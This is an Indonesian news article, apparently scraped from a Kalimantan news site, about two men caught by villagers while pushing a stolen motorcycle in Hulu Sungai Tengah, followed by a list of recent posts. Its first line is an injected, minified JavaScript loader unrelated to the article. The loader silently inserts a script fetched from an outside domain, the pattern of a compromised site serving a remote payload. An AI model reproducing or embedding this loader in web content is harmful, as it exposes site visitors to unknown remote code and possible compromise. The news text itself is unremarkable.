(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

AK dan SP Tertangkap Warga Saat Dorong Motor Curian


BARABAI, Dua pelaku curanmor (pencurian kendaraan bermotor) berhasil ditangkap warga setelah ketahuan melakukan aksi di Desa Jamil, Kecamatan Labuan Amas Selatan, Kabupaten Hulu Sungai Tengah, Sabtu (31/3) sekitar pukul 03.00 Wita.

Korban atas nama Syahliadi (24) warga Desa Jamil RT 001 RW 001, Kecamatan Labuan Amas Selatan, Kabupaten Hulu Sungai Tengah. Diketahui pelaku adalah AK (31) warga Desa Mahang Baru, Kecamatan Labuan Amas Selatan, Kabupaten Hulu Sungai Tengah dan SP (29) warga Desa Panggang Marak, Kecamatan Labuan Amas Selatan, Kabupaten Hulu Sungai Tengah.

Kejadian bermula saat Syahliadi diberitahu oleh ibunya bahwa sepeda motor Yamaha Force One warna hitam putih dengan Nopol KH 4133 EB telah hilang. Sepeda motor milik Syahliadi tersebut terparkir di halaman rumah.

Mengetahui hal tersebut, Syahliadi bergegas keluar rumah untuk mencari sepeda motor tersebut. Ditengah perjalanan Syahliadi bertemu dengan temannya dan memberitahukan ada 2 orang laki-laki menggunakan Honda Beat warna merah sedang mendorong sepeda motor miliknya.

Syahliadi bersama beberapa orang lainnya menyebar untuk mencari keberadaan kedua orang tersebut. Setelah sampai di Desa Mahang Baru, Syahliadi bertemu dengan pengendara Honda Beat warna merah tersebut. Semula kedua pelaku tidak mengaku melakukan pencurian sepeda motor.

Syahliadi melaporkan kejadian tersebut ke Polsek Labuan Amas Selatan. Mendapat laporan tersebut petugas dari Polsek Labuan Amas Selatan mendatangi TKP dan mencari keberadaan dua pelaku curanmor tersebut. Pelaku AK dan SP beserta barang bukti sepeda motor milik korban dibawa ke Polsek Labuan Amas Selatan untuk proses penyidikan.

“Saat kedua pelaku bertemu dengan saksi, diketahui bahwa kedua pelaku mengendarai sepeda motor Beat dan salah satunya mendorong sepeda motor milik korban,” ujar Kapolres HST AKBP Sabana Atmojo SIK MH.

Maraknya kasus curanmor di wilayah hukum HST, Kapolres HST AKBP Sabana Atmojo SIK MH menghimbau seluruh masyarakat untuk lebih berhati-hati dan lebih memperhatikan kendaraan yang dimiliki.

“Mari kita bersama-sama mencegah terjadinya curanmor dengan berhati-hati saat memarkir motor, pasang kunci ganda dan parkirlah kendaraan di tempat yang dalam pengawasan atau mudah diawasi,” ungkap Kapolres HST. (rico)

Reporter: Rico
Editor: Abi Zharrin Al Ghifari

Desy Arfianty

Recent Posts

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

12 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

12 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

12 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

14 jam ago

Sinergi Pelayanan Antar Proses Bisnis, PLN UIP3B Kalimantan Gelar Customer Gathering 2024

KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

15 jam ago

Kemajuan Pembangunan Kabupaten Banjar di Segala Bidang

KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More

15 jam ago

This website uses cookies.